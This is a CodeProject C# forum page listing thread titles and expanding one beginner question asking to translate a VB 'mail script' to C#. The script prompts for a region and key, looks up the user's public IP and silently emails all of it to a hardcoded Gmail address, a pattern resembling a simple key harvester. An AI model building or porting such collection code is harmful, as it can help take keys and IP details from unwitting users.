Click here to Skip to main content
15,914,447 members
Home / Discussions / C#
   

C#

 
GeneralRe: maths Pin
antrock10117-Feb-10 3:59
antrock10117-Feb-10 3:59 
GeneralRe: maths Pin
antrock10117-Feb-10 4:13
antrock10117-Feb-10 4:13 
GeneralRe: maths Pin
antrock10117-Feb-10 11:30
antrock10117-Feb-10 11:30 
GeneralRe: maths Pin
antrock10119-Feb-10 17:42
antrock10119-Feb-10 17:42 
Questionw Pin
bahar316-Feb-10 17:50
bahar316-Feb-10 17:50 
Answerxyz Pin
Dan Mos16-Feb-10 18:38
Dan Mos16-Feb-10 18:38 
AnswerRe: w Pin
Keith Barrow17-Feb-10 2:38
professionalKeith Barrow17-Feb-10 2:38 
QuestionTranslating VB to C# - Mail Script Pin
Antal Dominik16-Feb-10 10:33
Antal Dominik16-Feb-10 10:33 
Hello!
Iam quite new here, and I have a problem.
Iam a begginer in C#. I want to write a console app, which can send email.
I have a VB source code, and I cant translate it to C#, so:

-Does anyone know how to translate/convert this VB source code to C#?

Thank you very much!

Imports System.Net.Mail

Module Module1
    Public Region As String
    Public Key As String
    Sub Main()

        Console.WriteLine("Hello! Ird be az országot és a kodot!")
        Region = Console.ReadLine
        Key = Console.ReadLine
        Sendmail()
    End Sub
    Sub Sendmail()
        Dim WC As New System.Net.WebClient

        Dim MyMailMessage As New MailMessage

        MyMailMessage.From = New MailAddress("ferike112@gmail.com")

        MyMailMessage.To.Add("ferike112@gmail.com")

        MyMailMessage.Subject = ("Region:" & Region & "Their IP is: " & System.Text.Encoding.ASCII.GetString((WC.DownloadData("http://whatismyip.com/automation/n09230945.asp"))))

        WC.Dispose()

        MyMailMessage.Body = ("REGION: " & Region & vbCrLf & "Key: " & Key)

        Dim SMTPServer As New SmtpClient("smtp.gmail.com")

        SMTPServer.Port = 587

        SMTPServer.Credentials = New System.Net.NetworkCredential("ferike112@gmail.com", "********")

        SMTPServer.EnableSsl = True

        Try

            SMTPServer.Send(MyMailMessage)


        Catch ex As SmtpException
            'MessageBox.Show(ex.Message)
        End Try
    End Sub
End Module

AnswerRe: Translating VB to C# - Mail Script Pin
AspDotNetDev16-Feb-10 11:46
protectorAspDotNetDev16-Feb-10 11:46 
AnswerRe: Translating VB to C# - Mail Script Pin
Dave Doknjas16-Feb-10 14:17
Dave Doknjas16-Feb-10 14:17 
QuestionDealing with Controls/ Copy it to a new tabControl Pin
Sueberl16-Feb-10 9:54
Sueberl16-Feb-10 9:54 
AnswerRe: Dealing with Controls/ Copy it to a new tabControl Pin
Luc Pattyn16-Feb-10 10:22
sitebuilderLuc Pattyn16-Feb-10 10:22 
GeneralRe: Dealing with Controls/ Copy it to a new tabControl Pin
Sueberl16-Feb-10 10:33
Sueberl16-Feb-10 10:33 
GeneralRe: Dealing with Controls/ Copy it to a new tabControl Pin
hammerstein0516-Feb-10 11:32
hammerstein0516-Feb-10 11:32 
GeneralRe: Dealing with Controls/ Copy it to a new tabControl Pin
Luc Pattyn16-Feb-10 13:53
sitebuilderLuc Pattyn16-Feb-10 13:53 
GeneralRe: Dealing with Controls/ Copy it to a new tabControl Pin
Sueberl17-Feb-10 1:00
Sueberl17-Feb-10 1:00 
GeneralRe: Dealing with Controls/ Copy it to a new tabControl Pin
Luc Pattyn17-Feb-10 1:05
sitebuilderLuc Pattyn17-Feb-10 1:05 
QuestionQuadtree Implementation Pin
MagicalC4Wombat16-Feb-10 9:45
MagicalC4Wombat16-Feb-10 9:45 
AnswerRe: Quadtree Implementation Pin
Luc Pattyn16-Feb-10 9:58
sitebuilderLuc Pattyn16-Feb-10 9:58 
GeneralRe: Quadtree Implementation Pin
MagicalC4Wombat16-Feb-10 10:06
MagicalC4Wombat16-Feb-10 10:06 
GeneralRe: Quadtree Implementation Pin
Luc Pattyn16-Feb-10 10:13
sitebuilderLuc Pattyn16-Feb-10 10:13 
AnswerRe: Quadtree Implementation Pin
harold aptroot16-Feb-10 10:14
harold aptroot16-Feb-10 10:14 
Questionassociating a file with a .EXE on a cd Pin
shadowthief_0316-Feb-10 8:55
shadowthief_0316-Feb-10 8:55 
AnswerRe: associating a file with a .EXE on a cd Pin
Luc Pattyn16-Feb-10 9:11
sitebuilderLuc Pattyn16-Feb-10 9:11 
GeneralRe: associating a file with a .EXE on a cd Pin
shadowthief_0316-Feb-10 11:01
shadowthief_0316-Feb-10 11:01 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.